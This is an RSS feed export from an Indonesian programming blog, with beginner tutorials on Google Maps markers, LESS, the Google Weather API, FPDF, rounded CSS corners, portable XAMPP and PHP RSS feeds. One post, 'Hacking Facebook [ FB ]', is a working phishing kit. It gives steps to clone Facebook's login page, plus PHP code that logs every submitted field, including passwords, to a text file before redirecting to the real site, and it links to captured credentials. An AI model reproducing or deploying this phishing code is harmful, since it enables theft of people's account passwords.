Izul Cyber Cafe » Programmings http://izulcybercafe.com cafe para pecinta komputer Mon, 28 Jun 2010 09:04:06 +0000 en hourly 1 http://wordpress.org/?v=3.0 Google Map Markers with Jquery http://izulcybercafe.com/2010/06/google-map-marker-with-jquery/ http://izulcybercafe.com/2010/06/google-map-marker-with-jquery/#comments Mon, 28 Jun 2010 07:35:12 +0000 Izul Cyber Cafe http://izulcybercafe.com/?p=611 Google map saat ini semakin banyak di gunakan oleh para developer, Google Maps API memberikan cara canggih bagi pengembang dan webmaster untuk menambahkan peta interaktif kustom ke situs Web mereka. Versi 3 dari API, dirilis pada Mei 2009, merupakan pemeriksaan lengkap API dalam menanggapi beberapa tahun nilai masukan dari pengguna pada versi sebelumnya.

Dalam tutorial ini kita akan membahas beberapa fitur API yang sederhana dengan menunjukkan Anda bagaimana cara menambahkan peta dengan satu set spidol lokasi ke sebuah website. Setiap marker akan memiliki gelembung info yang terkait dengan nama dan alamat dari lokasi. Terlebih lagi, kita akan memuat data lokasi melalui Ajax, jadi ini dapat digunakan sebagai langkah pertama menuju mengembangkan aplikasi berbasis peta yang lebih canggih.

Tutorial

Mari kita mulai tutorial kali ini

Langkah-1

Buat sebuah file dengan nama Map.html

tuliskan skrip berikut untuk map.html

<!DOCTYPE html>
<html>
<head>
<title>Google Maps</title>
<script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false"></script>
<script type="text/javascript" src="js/jquery-1.4.1.min.js"></script>
<script type="text/javascript" src="js/markers.js">
 
</script>
</head>
<body><div id="map"></div>
<div ><input type="button" id="showmarkers" value="Show Markers" /></div>
</body>
</html>

Langkah-2

Buat file javascript, dan beri nama marker.xml

tuliskan skrip dibawah ini, skrip tersebut untuk menentukan lokasi-lokasi yang akan di marker, kamu bisa mendapatkan lokasi (latitude, longitude) langsung dari situs Google Maps

<?xml version="1.0"?>
 
<markers>
<marker>
<name>DEPOK</name>
<address>Stasiun Depok Baru</address>
<lat>-6.390122</lat>
<lng>106.821723</lng>
</marker>
 
<marker>
<name>DEPOK</name>
<address>Stasiun Pondok Cina</address>
<lat>-6.370032</lat>
<lng>106.831957</lng>
</marker>
 
<marker>
<name>DEPOK</name>
<address>Stasiun Universitas Indonesia</address>
<lat>-6.360191</lat>
<lng>106.831474</lng>
</marker>
 
</markers>

Langkah-3

Buat direktori dengan nama  js, taruh file jquery (disini saya menggunakan jquery-1.4.1.min.js), dan sebuah file javascript lain dengan nama markers.js

tuliskan skrip berikut untuk marker.js

$(document).ready(function() {
  $("#map").css({
		height: 800,
		width: 800
	});
	var myLatLng = new google.maps.LatLng(-6.390122, 106.821723);
  MYMAP.init('#map', myLatLng, 11);
 
  $("#showmarkers").click(function(e){
		MYMAP.placeMarkers('markers.xml');
  });
});
 
var MYMAP = {
  map: null,
	bounds: null
}
 
MYMAP.init = function(selector, latLng, zoom) {
  var myOptions = {
    zoom:zoom,
    center: latLng,
    mapTypeId: google.maps.MapTypeId.ROADMAP
  }
  this.map = new google.maps.Map($(selector)[0], myOptions);
	this.bounds = new google.maps.LatLngBounds();
}
 
MYMAP.placeMarkers = function(filename) {
	$.get(filename, function(xml){
		$(xml).find("marker").each(function(){
			var name = $(this).find('name').text();
			var address = $(this).find('address').text();
 
			// create a new LatLng point for the marker
			var lat = $(this).find('lat').text();
			var lng = $(this).find('lng').text();
			var point = new google.maps.LatLng(parseFloat(lat),parseFloat(lng));
 
			// extend the bounds to include the new point
			MYMAP.bounds.extend(point);
 
			var marker = new google.maps.Marker({
				position: point,
				map: MYMAP.map
			});
 
			var infoWindow = new google.maps.InfoWindow();
			var html='<strong>'+name+'</strong.><br />'+address;
			google.maps.event.addListener(marker, 'click', function() {
				infoWindow.setContent(html);
				infoWindow.open(MYMAP.map, marker);
			});
			MYMAP.map.fitBounds(MYMAP.bounds);
		});
	});
}

——————————–

DEMO

DOWNLOAD

——————————–

Sekian tutorial hari ini, semoga besok akan menjadi hari ke-empat secara berturut-turut saya menulis artikel di blog ini.

]]> http://izulcybercafe.com/2010/06/google-map-marker-with-jquery/feed/ 0 Tutorial Less.js Learning CSS http://izulcybercafe.com/2010/06/tutorial-less-js-learning-css/ http://izulcybercafe.com/2010/06/tutorial-less-js-learning-css/#comments Sun, 27 Jun 2010 02:39:48 +0000 Izul Cyber Cafe http://izulcybercafe.com/?p=589 Semua web designer di dunia saya yakin pasti mengenal CSS, yaitu bahasa pemograman web yang digunakan untuk mengatur tata letak pada halaman website.

Kemaren saya menemukan LESS atau Learning CSS, sebuah tool yang bisa meningkatkan kemampuan CSS dengan variables, mixin, operations and nested rules.  Dengan LESS kita akan mengganti file .css dengan file .less

oke mari kita mulai membuat contoh tampilan website dengan bantuan LESS.

Resource

Kita bisa meng-embed file less dengan menyertakan skrip berikut diantara <HEAD>…</HEAD>

<link rel="stylesheet/less" href="style.less" type="text/css" />
<script src="http://lesscss.googlecode.com/files/less-1.0.21.min.js"></script>

Tutorial.

Langkah-1 .

Buat sebuah file dengan nama style.less

lalu tuliskan skrip berikut.

@iz-color:#f20000;
@iz-size:16px;
.rounded(@radius: 5px) {  
    -moz-border-radius: @radius;  
    -webkit-border-radius: @radius;  
    border-radius: @radius;  
} 
#container{
	a{
		color:@iz-color;
		&:hover{
			color:#000;
		}
		text-decoration:none;
		font-size:@iz-size;
	}
 
	.rounded(15px);
 
	border:1px solid #333;
	background:#EFEFE0;
	width:500px;
	height:25px;
	padding:5px;
}

Langkah-2

Buat sebuah file dengan nama less-example.html

lalu tulis script berikut.

<html>
<head>
	<title>Learn Less.js</title>
	<link rel="stylesheet/less" href="style.less">
	<script src="http://lesscss.googlecode.com/files/less-1.0.21.min.js"></script>
</head>
<body>
	<h2>Example Less.js</h2>
	<div id="container">
		<a href="#">Link</a>
	</div>
	<a href="http://izulcybercafe.com/2010/06/tutorial-less-js-learning-css/">Back to tutorial</a>
</body>
</html>

Langkah-3

Jalankan file less-example.html dengan browser anda, pastikan terhubung dengan internet.

————————————————–

DEMO

————————————————–

Referensi

http://lesscss.org/

http://fadeyev.net/2010/06/19/lessjs-will-obsolete-css/

]]> http://izulcybercafe.com/2010/06/tutorial-less-js-learning-css/feed/ 1 Google Weather API http://izulcybercafe.com/2010/06/google-weather-api/ http://izulcybercafe.com/2010/06/google-weather-api/#comments Sat, 26 Jun 2010 06:00:00 +0000 Izul Cyber Cafe http://izulcybercafe.com/?p=574 Hari ini ingin sekali menulis, dan mumpung ada kesempatan untuk menulis akhir nya muncul lah artikel ini :)

Kali ini saya akan membahas Google API tepat nya Google Weather API, yaitu Google API yang di gunakan untuk menampilkan keadaan cuaca disuatu tempat.

yeah mari mulai.

1. Buat File PHP, Beri nama cuaca.php.

2. Tuliskan script berikut.

<?php function getWeather() {
 
	$requestAddress = "http://www.google.com/ig/api?weather=jakarta&hl=id";
	$xml_str = file_get_contents($requestAddress,0);
	// Parses XML
	$xml = new SimplexmlElement($xml_str);
	// Loops XML
	$count = 0;
	echo <<< END
 
END;
//echo $xml->forecast_conditions[0]->city['data'];
//var_dump($xml);
echo '<div id="weather">';
	foreach($xml->weather as $item) {
 
		foreach($item->forecast_conditions as $new) {
		echo '<div class="weatherIcon">';
			echo '<img src="http://www.google.com/' .$new->icon['data'] . '"/><br/>';
			echo $new->day_of_week['data'];
			echo '</div>';
 
		}
	}
  echo '</div>';
  }
 
  getWeather();?>

yang perlu anda perhatikan yaitu pada bagian

$requestAddress = "http://www.google.com/ig/api?weather=jakarta&hl=id";

disitu saya mencoba untuk melihat cuaca JAKARTA dengan bahasa Indonesia untuk hari nya.
3. Jalankan file cuaca.php

4. Selesai..

Sekian tutorial singkat nya.

Demo

———————————
Referensi

http://www.google.com/ig/api?weather=New%20York

]]> http://izulcybercafe.com/2010/06/google-weather-api/feed/ 0 Membuat file PDF dengan PHP. http://izulcybercafe.com/2009/10/membuat-file-pdf-dengan-php/ http://izulcybercafe.com/2009/10/membuat-file-pdf-dengan-php/#comments Thu, 15 Oct 2009 16:15:14 +0000 Izul Cyber Cafe http://izulcybercafe.com/?p=494 pdf-izulKebetulan ada temen yang bertanya cara membuat file PDF dengan PHP, jadi muncul lah ide untuk membuat tulisan ini.

Untuk membuat file PDF dengan PHP saya disini menggunakan Library FPDF, bisa didapatkan secara gratis di sini.

Pada contoh ini saya akan mencoba membuat PDF sesuai dengan apa yang diinput kan oleh user dalam sebuah form.

Langkah 1

Download FPDF, setelah itu extract di hosting anda, atau kalo mau mencoba di server local bisa di letakan di folder htdocs jika menggunakan XAMPP.

Langkah 2

Buat sebuah Form yang berisi (Nama, Subjek, Website, Komentar) save dengan nama form.html.

 
<html>
<head>
<title>Izul Cyber Cafe</title>
</head>
 
<body>
 
<form method="POST" action="pdf.php">
<h1>Izul Cyber Cafe : PDF</h1>
<form>
  <table>
    <tr>
		<td>Nama</td> <td> : <input type="text" name="nama"></td>
	</tr>
    <tr>
		<td>Subjek</td> <td> : <input type="text" name="subjek"></td>
	</tr>
    <tr>
		<td>Website</td> <td> : <input type="text" name="website"></td>
	</tr>
    <tr>
		<td>Pesan/Komentar</td> <td> : <textarea name="komentar" cols="35" rows="10"></textarea></td>
	</tr>
    <tr>
		<td colspan="2"><input type="submit" name="submit" value="Submit"><input type="reset" name="reset" value="Reset"></td>
	</tr>
  </table>
</form>	
</body>
</html>

Langkah 3

Lalu buat file php untuk memproses data yang di input agar menjadi PDF dengan nama pdf.php

<?php
if (!empty($_POST['nama']) || !empty($_POST['subjek']) || !empty($_POST['website']) || !empty($_POST['komentar'])) {
	$nama=$_POST['nama'];
	$subjek=$_POST['subjek'];
	$website=$_POST['website'];
	$komentar=$_POST['komentar'];
} else {
	echo "Data yang anda masukan belum lengkap!";
	return 0;
}
 
define('FPDF_FONTPATH','fpdf/font/');
require('fpdf/fpdf.php');
 
class PDF extends FPDF {
function Header() {
	$this->Image('logo.jpg',1.1,1.05,2.1);
	$this->SetFont('Arial','B',20);
	$this->Cell(19,1,'Data Komentar',1,0,'C');
	$this->Ln();
}
 
function Footer() {
	$this->SetY(-1.5);
	$this->SetFont('Arial','I',8);
	$this->Cell(0,1,'Halaman '.$this->PageNo().'/{nb}',0,0,'C');
} 
}
 
$pdf=new PDF('P','cm','A4');
$pdf->Open();
$pdf->AliasNbPages();
$pdf->AddPage();
$pdf->SetFont('Arial','B',24);
$pdf->SetTextColor(220,50,50);
$pdf->Ln();
$pdf->MultiCell(0,2,$subjek,0,'C');
$pdf->SetFont('Arial','B',12);
$pdf->SetTextColor(0,0,0);
$pdf->SetX(8.2);
$pdf->Write(1,'Oleh: ');
$pdf->SetFont('Arial','BIU',12);
$pdf->Write(1,$nama,$website);
$pdf->SetFont('Arial','B',12);
$pdf->Ln(2);
$pdf->MultiCell(0,1,$komentar);
$pdf->Output();
?>

Langkah 4

Taruh sebuah image dengan format png dengan nama logo.png, anda bisa mengubah nama file atau jenis file gambar dengan yang lain dengan merubah file pdf.php pada $this->Image(‘logo.jpg’,1.1,1.05,2.1); di HEADER

Langkah 5

Sekarang coba jalan kan file form.html, maka jika tombol submit di tekan akan menampilkan message box untuk mendownload file pdf.

Langkah 6

Selesai…..

Keterangan pada file PDF.php:


Melakukan pengecekan apakah data sudah diinput semua.

if (!empty($_POST['nama']) || !empty($_POST['subjek']) || !empty($_POST['website']) || !empty($_POST['komentar'])) {
 
$nama=$_POST['nama'];
 
$subjek=$_POST['subjek'];
 
$website=$_POST['website'];
 
$komentar=$_POST['komentar'];
 
} else {
 
echo "Data yang anda masukan belum lengkap!";
 
return 0;
 
}


Membuat Header

function Header() {
	$this->Image('logo.jpg',1.1,1.05,2.1);
	$this->SetFont('Arial','B',20);
	$this->Cell(19,1,'Data Komentar',1,0,'C');
	$this->Ln();
}

Yaitu untuk membuat tampilan header.

$this->Image(‘logo.jpg’,1.1,1.05,2.1); untuk meletakan gambar berada di  1,1 cm (X) dan 1.05 cm (Y) dan lebar gambar 2.1 cm.

$this->SetFont(‘Arial’,'B’,20); Untuk menentukan jenis Font, atribut(B=Tebal, I=Miring, U=Garis Bawah ) serta ukuran font.

$this->Cell(19,1,’Data Komentar’,1,0,’C'); untuk mecetak “Data Komentar” pada posisi di tengan ( C ), dan ketebalan garis(border=1).

$this->Ln(); untuk pindah baris.


Membuat Footer

 function Footer() {
	$this->SetY(-1.5);
	$this->SetFont('Arial','I',8);
	$this->Cell(0,1,'Halaman '.$this->PageNo().'/{nb}',0,0,'C');
}

Keterangan :

$this->Cell(0,1,’Halaman ‘.$this->PageNo().’/{nb}’,0,0,’C'); Untuk membuat halaman, halaman akan tercetak akibat penulisan {nb}.

Mencetak Isi dokumen.

$pdf=new PDF('P','cm','A4');  Untuk mencetak file dengan format kertas A4, bisa diganti Letter.
$pdf->Open(); 
$pdf->AliasNbPages(); Untuk memanggil fungsi pencetakan halaman.
$pdf->AddPage();
$pdf->SetFont('Arial','B',24); 
$pdf->SetTextColor(220,50,50); Untuk mencetak Warna huruf dengan, bisa contek di photoshop untuk kode warna nya.
$pdf->Ln(); untuk pindah baris
$pdf->MultiCell(0,2,$subjek,0,'C');  Untuk mencetak teks yang lebih dari 1 baris.
$pdf->SetFont('Arial','B',12);  Untuk pengaturan Font ( Arial, Bold, ukuran 12 )
$pdf->SetTextColor(0,0,0); Merubah warna teks menjadi hitam (0,0,0 )
$pdf->SetX(8.2); Menentukan 
$pdf->Write(1,'Oleh: ');
$pdf->SetFont('Arial','BIU',12);
$pdf->Write(1,$nama,$website); Untuk mencetak variable nama disertai link sesuai inputan
$pdf->SetFont('Arial','B',12);
$pdf->Ln(1);
$pdf->MultiCell(0,1,$komentar); Untuk mencetak Komentar.
$pdf->Output(‘data.pdf’,true);

———————————————

DEMO


DOWNLOAD



Jika ada tambahan atau pertanyaan silahkan tulis komentar……..

Ref :

  1. http://www.fpdf.org/en/tutorial/index.php
  2. http://www.fpdf.org/en/doc/index.php
]]> http://izulcybercafe.com/2009/10/membuat-file-pdf-dengan-php/feed/ 11 Web Based Operating System http://izulcybercafe.com/2009/05/web-based-operating-system/ http://izulcybercafe.com/2009/05/web-based-operating-system/#comments Wed, 27 May 2009 18:06:22 +0000 Izul Cyber Cafe http://izulcybercafe.com/?p=402 eyeosSistem Operasi Windows udah bosen, Linux Makin Rame, jadi gak spesial lg, tapi kalau Sistem Operasi berbasis web, ini baru keren saat ini.

Dengan semakin berkembangnya bahasa pemograman website sekarang ini, seperti(JQuery, Json, ExtJS) yang merupakan pengembangan dari Javascript, dan Codeigniter, CakePHP, Symfony, Zend yang merupakan Framework PHP, membuat aplikasi-aplikasi web pun menjadi semakin canggih.

Mulai dari Fenomena Facebook yang dalam waktu singkat bisa mengirim friendster ke neraka dengan teknologi ajax nya.

Sampai yang satu ini ni…Sistem Operasi berbasis web. Langsung saja saya perkenalkan buat yang baru mengenal nya

Namanya “EyeOS” cam kan itu di benak anda.

Sistem Operasi berbasis website ini dibuat dengan bahasa pemograman PHP – diploles dengan Javascript(–>Ajax) dan di sempurnakan dengan desain yang WAH..!!! dengan bantuan CSS dan PNG.

Fitur.

Kalau di liat dari segi fitur, Sistem Operasi ini tidak kalah dengan Windows maupun linux.

EyeOS dilengkapi dengan banyak sekali fasilitas seperti System Operasi dasktop lainnya, diantaranya yaitu

Office ( Word Processor, Spreatsheet, Presentation).

Support untuk file-file Ms.Office lho.

Network

Ini yang paling asik, bisa chating antar user berada yang berada di tempat lain dengan, bisa kirim email, membaca RSS dari sebuah website.

  • Internel Messanging System
  • Bulletin Board
  • RSS Reader
  • FTP Client
  • Web Browser

navigator

Game (Chess, Tetravex Game)

Lebih Asik dibandingkan game-game standar Microsoft (Solitaire,Hearts, dkk) …….”Menurut Saya…”.

chess

File Management

  • Upload multiple files
  • Easy visual file management
  • Download entire folders as Zip
  • Compress and uncompress Zip/Tar files
  • Photo viewer and slideshow

More

  • Calendar with multiple views
  • Contacts manager
  • Export and Import vCards
  • Multiple Language

Sekian ya ulasannya :)

Mending langsung coba sendiri saja.

Website : http://eyeos.org

Demo : http://eyeos.info

Download : http://eyeos.org/en/downloads

]]> http://izulcybercafe.com/2009/05/web-based-operating-system/feed/ 14 Solution ! create boxes with rounded corners using css & javascript http://izulcybercafe.com/2009/05/solution-create-boxes-with-rounded-corners-using-css-javascript-image/ http://izulcybercafe.com/2009/05/solution-create-boxes-with-rounded-corners-using-css-javascript-image/#comments Sat, 23 May 2009 12:01:40 +0000 Izul Cyber Cafe http://izulcybercafe.com/?p=383 roundedRasanya sudah lama sekali tidak posting, lama sekali tidak mengklik menu Add New Post di Dashboard cafe ini.

Untung sebelumnya dibantu teman untuk menulis artikel, membuat cafe ini tetap eksis. Oke sekarang lanjut ke topik lagi.

Wow judulnya sih pake bahasa inggris, tapi santai, isinya masih pake bahasa Indonesia kok :) .

Kali ini saya kembali dengan sebuah tulisan ringan tapi cukup mengasikkan untuk dicoba, terutama untuk para pemula web desain. Yaitu membuat Kotak yang disudutnya dibulatkan.

Saya akan mencoba membuatnya dengan 2 macam cara (CSS dan Javascript).

Cara-1 : Dengan CSS

Buka Web editor kesukaan kamu, bisa Dreamweaver, Notepad, atau yang lain.

Tuliskan kode HTML berikut.

——————————————-

<html>
<head>
<title>Tutorial CSS</title>
	<meta http-equiv="content-type" content="text/html; charset=utf-8" />
	<link rel="stylesheet" type="text/css" href="style.css" />
</head>
<body>
<div class="cekung">
	<p>Membuat Kotak yang disudutnya di buat cekung dengan CSS</p>
</div>
</body>
</html>

——————————————

Lalu buat file CSS dengan nama style.css dan isinya adalah seperti ini.
————————–

.cekung{
	-moz-border-radius:25px;
	width:250;
	padding:1em;
	background-color:#f20000;
	color:#fff;
}

————————–

Sekarang jalan kan browser anda :

Demo 1

Note : Hanya bisa di Mozilla Firefox.

Cara 2 : Dengan Javascript

Berikutnya menggunakan Javascript, tapi kamu harus mendownload terebih dahulu file javascipt nya.

File tersebut bernama NiftyCube. Silahkan download disini.

Cara menggunakan nya cukup mudah, anda tinggal memanggil file javascriptnya dengan menempatkan script berikut di antara tag <head> dan </head>.

———————————————–

<head>
<title>Tutorial CSS</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="corners3.css" />
<script type="text/javascript" src="niftycube.js"></script>
<script type="text/javascript">
	window.onload=function(){
	Nifty("div.cekung");
}
</script>
</head>

———————————————–

Dan memanggil class nya dengan <div class=nama_kelas></div>

Berikut contoh kodenya selengkapnya.

——————————————–

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US">
<head>
<title>Tutorial CSS</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="corners3.css" />
<script type="text/javascript" src="niftycube.js"></script>
<script type="text/javascript">
	window.onload=function(){
	Nifty("div.cekung");
}
</script>
</head>
<body>
	<div class="cekung">
		<p>Tutorial membuat sudut melengkung dengan CSS Dan Javascript</p>
	</div>
</body>
</html>
</html>

——————————————–
Sekarang jalankan file buatan kamu. Maka akan tercipta sebuah box dengan sudut yang cekung.

Demo 2

——————————————–
Sekian dulu ya artikel kali ini, untuk artikel CSS berikutnya saya akan membahas pembuatan “Rounded Corner” dengan menggunakan Image.

Tunggu saja ya…

Byee……..
Keep Learning and Happy Trying…………….

:)

]]> http://izulcybercafe.com/2009/05/solution-create-boxes-with-rounded-corners-using-css-javascript-image/feed/ 4 Hacking Facebook [ FB ] http://izulcybercafe.com/2009/04/hacking-facebook-fb/ http://izulcybercafe.com/2009/04/hacking-facebook-fb/#comments Sun, 19 Apr 2009 03:24:29 +0000 dewancc http://izulcybercafe.com/?p=349 facebook-iconOk ini adalah postingan pertama saya di sini sebelumnya perkenalkan wa dewancc | http://www.kitaberbisnis.com sekarang topik yang akan saya bahas adalah Facebook. Mungkin sudah tidak aneh lagi tentang FB, bahkan FB kini sudah dapat menyaingi FS.

Tak perlu panjang lebar karena waktu saya tidak banyak mohon maaf neh newbie mw bagi cerita OK.

Untuk hacking FB kita memerlukan beberapa file :

1. facebook1.html
2. facebooklogin.php
3. rekamanbiru.txt

Cara :
1. facebook1.html : didapat dari halaman login Facebook Asli, dengan cara menekan Ctrl+U lalu Copy Paste.

Sebelumnya disave, coba liat hasil kopian source tersebut, cari

https://login.facebook.com/login.php?login_attempt=1

Ganti tulisan tersebut dengan facebooklogin.php

Itu akan melempar variable2 ke file facebooklogin, nanti facebooklogin.php akan merekam apa yg dimasukan ke file rekamanbiru.txt

2. facebooklogin.php

<?php
header (‘Location: https://login.facebook.com/login.php ‘);
$handle = fopen(“rekamanbiru.txt”, “a”);
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
}
fwrite($handle, “\r\n”);
fclose($handle);
exit;
?>

3. rekamanbiru.txt

File yg ini biarkan saja kosong seperti semula namun jangan lupa untuk di save dengan name rekamanbiru.txt

Upload ketiga file itu ke hosting yang support php seperti ripway dan taruh file ini dalah 1 diretory OK….

-[ E N D ]-

HASILNYA DISINI

Formnya bisa dilihat disini..

Password rekamannya disini.

atau semuanya disini

]]> http://izulcybercafe.com/2009/04/hacking-facebook-fb/feed/ 35 Jalankan PHP dari Flashdisk dengan “XAMPPLITE” WebServer Portable http://izulcybercafe.com/2009/03/333/ http://izulcybercafe.com/2009/03/333/#comments Sun, 01 Mar 2009 09:34:51 +0000 Izul Cyber Cafe http://izulcybercafe.com/?p=333 2218075860_b78fd33f83Mohon maaf jika lama tidak update, sekarang baru punya waktu untuk membuat artikel baru. Artikel ini semestinya tentang Hacking, sesuai dengan hasil polling pengunjung,  tetapi karena sedang banyak kesibukan maka saya belum sempat membuat tulisan tentang hacking, akhirnya posting artikel yang sudah lama saya tulis saja,  tapi jangan khawatir, karena artikel ini juga tidak kalah menariknya dibanding materi tentang Hacking.

Oke pada tulisan kali ini saya akan menjelaskan cara menjalankan file PHP dari Flashdisk, gimana caranya??bukan kah jika ingin menjalankan script PHP harus ada web server yang terinstall  seperti apache dan yang lainnya di komputer kita!!!??

Benar sekali??harus ada web server, tapi kali ini webservernya ada di flashdisk, web server portable (tepatnya XAMPP Portabel) jadi jika kamu membuat aplikasi dengan PHP&Mysql di komputer kamu, dan setelah itu harus presentasi di tempat lain maka tinggal bawa flashdisk saja, tanpa harus menginstall web server di komputer tsb.

Caranya sebagai berikut :

  1. Download XAMPP potable di situs apachefriend.
  2. xampplite hasil download tersebut ke flashdisk.
  3. Double Click file tersebut, untuk men-ekstrak nya ke folder xampplite (ex:  F:/xampplite).
  4. Teruh file PHP kamu di folder htdocs di yng ada di  (ex : F:/xampplite/htdocs).
  5. Jalankan WebServer kamu dengan menlakukan double click terhadap file xampp_Start.exe.
  6. Selanjutnya buka web browser kamu dan ketikkan http://localhost atau http://localhost/folder_web_kamu.
  7. Selesai…
]]> http://izulcybercafe.com/2009/03/333/feed/ 9 Membuat RSS Feed dengan PHP http://izulcybercafe.com/2009/02/membuat-rss-feed-dengan-php/ http://izulcybercafe.com/2009/02/membuat-rss-feed-dengan-php/#comments Fri, 06 Feb 2009 04:05:18 +0000 Izul Cyber Cafe http://izulcybercafe.com/?p=319 rss_sniffelsSudah lama juga tidak posting, akhirnya saat libur ujian semester kali ini saya dapat menulis kembali di cafe ini, sebenarnya sudah ada beberapa judul artikel yang telah saya siapkan, tapi akhirnya artikel ini lah yang akhirnya memenuhi syarat untuk tampil lebih dulu.

Oya sekalian mengabarkan, untuk teman2 yang sudah memakai ShoutBox buatan Izul Cyber Cafe, sekarang anda bisa mendownload Upadate terbarunya, sudah dilengkapi smile, halaman admin, dan captha(security code), silahkan download disini source nya.

http://izulcybercafe.com/shouticc.zip

Oke kita lanjut, kali ini kita akan mencoba membuat RSS Feed untuk website buatan kita sendiri.

Apasih RSS ? RSS adalah singkatan dari Really Simple Syndication yaitu sebuah contoh web feed yang memiliki logo seperti gambar diatas, hampir disetiap blog ada. Dengan RSS kita bisa membaca berita dari sebuah situs lansung di website kita sendiri atau di situs feed reader seperti FEED BURNER, jadi tidak perlu membuka situs yang bersangkutan untuk membaca artikel terbarunya

Bagaikan McDonalds dengan layanan delivery 24 jam dalam 7 hari yang ada di dunia maya. .

Contoh : Misalnya kamu ingin mengetahui berita terbaru dari izulcybercafe.com, kamu tidak harus membuka situs izulcybercafe.com, karena dengan RSS anda bisa melihat berita terbaru dari www.izulcybercafe.com langsung dari situs/blog kamu, tinggal ambil alamat RSS nya, misal URL untuk RSS detik.com yaitu :

http://izulcybercafe.com/?feed=rss2

copy URL tersebut, lalu masukan sebuah Widget RSS kedalam website/blog kamu, lalu Paste URL tadi ke situ, maka ketika kamu membuka halaman depan situs kamu, maka Berita-berita terbaru dari izulcybercafe.com akan muncul di situs kamu, jadi tidak perlu membuka situs izulcybercafe.com kan ?

Lagi – lagi.

Bagaikan Restoran dengan layanan delivery 24 jam dalam 7 hari yang ada di dunia maya ( di izulcybercafe khususnya :) . .

rss_wid

rss_widget

Biasa nya di Blog sudah tersedia fasilitas tersebut, tapi bagai mana kalau situs yang kita buat sendiri (Bukan Blog), untuk itu kita harus menulis kodenya sendiri, lalu menguploadnya ke situs hosting.

Kita coba buat langsung saja, kita hanya butuh sebuah file PHP dan sebuah database sebagai berikut.

Script – 1.

—————————————————————-

create database feed;

use database feed;

CREATE TABLE `rss` (
`id` int(11) NOT NULL auto_increment,
`title` varchar(100) collate latin1_general_ci NOT NULL,
`content` text collate latin1_general_ci NOT NULL,
`date` date NOT NULL,
PRIMARY KEY  (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci AUTO_INCREMENT=4 ;

INSERT INTO `rss` VALUES (1, ‘Obama dilantik’, ‘Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aenean velit.’, ’2009-01-16′);
INSERT INTO `rss` VALUES (2, ‘Gaza makin mencekam’, ‘Ut vitae magna eget purus viverra interdum.’, ’2009-01-16′);
INSERT INTO `rss` VALUES (3, ‘SBY mencalonkan diri lagi.’, ‘Phasellus ullamcorper. Nam sed nisl. Curabitur aliquet porta augue. Cras convallis dui at turpis’, ’2009-01-16′);

—————————————————————-

Penjelasan :

Script tersebut akan membuatkan kamu sebuah database bernama feed, dengan tabel bernama rss yang terdiri dari 4 field yaitu (id, title, content, date) lengkap dengan isi beritanya.

Membuatnya bisa dengan PHPMyAdmin.

Script – 2.

// ———— >index.php

—————————————————————-

<?php
$host = “localhost”;
$user = “root”;
$pass = “”;
$db = “feed”;

$connection = mysql_connect($host,$user,$pass)or die(“Koneksi ERROR”);
mysql_select_db($db, $connection);

header(“Content-type: text/xml; charset=utf-8″);
print “<?xml version=\”1.0\” encoding=\”utf-8\”?>\n”;
print “<rss version=\”2.0\”>”;
print “<channel>”;
print “<title>Izul Cyber Cafe</title>\n”;
print “<link>http://www.izulcybercafe.com</link>\n”;
print “<description>RSS Izul Cyber Cafe</description>”;

$query = “select * from rss order by id desc limit 0,10″;

$result = mysql_query($query);

while ($row = mysql_fetch_array($result, MYSQL_ASSOC)){
$scontent = $row['content'];
$xdate = date(“d F Y”,$time);
$content_decode = html_entity_decode($scontent);

print “\t<item>\n”;
print “\t\t<title> ” .$row["title"]. “</title>\n”;
print “\t\t<link>http://tvone.com</link>\n”;

print “\t\t<pubDate>$xdate</pubDate>\n”;
print “\t\t<description>”;
echo htmlentities($content_decode);
print “</description>\n”;

print “\t</item>\n”;
print “\n”;
}
print “</channel>”;
print “</rss>”;
?>

-—————————————————————

Penjelasan.

  • Script tersebuat akan men-generate dokumen XML sesuai dengan RSS 2.0
  • Simpan file tersebut di sebuah lokasi, misal di : www.domainkamu.com/rss/index.php
    lokasi tersebut akan menjadi lokasi Web Feed (RSS Feed) kamu.
  • Sesuaikan konfigurasi host,user,pass dengan konfigurasi web server kamu.
  • Perhatikan query : ORDER BY id desc limit 0,10 yaitu akan menampilkan artikel dengan urutan besar ke kecil sebanyak 10 dimulai dari 0.
  • Perhatikan juga baris echo htmlentities($content_decode);
    Penggunaan fungsi htmlentities sangat penting disini untuk menghindarkan kesalahan karakter jika konten Kamu dalam format HTML.
  • Jika anda hanya ingin memberikan sebagian konten, Anda perlu membuat fungsi khusus (atau field tambahan) untuk menampung sebagian konten tersebut.

Kurang lebih anda akan mendapat tampilan seperti gambar berikut.

rss

]]> http://izulcybercafe.com/2009/02/membuat-rss-feed-dengan-php/feed/ 11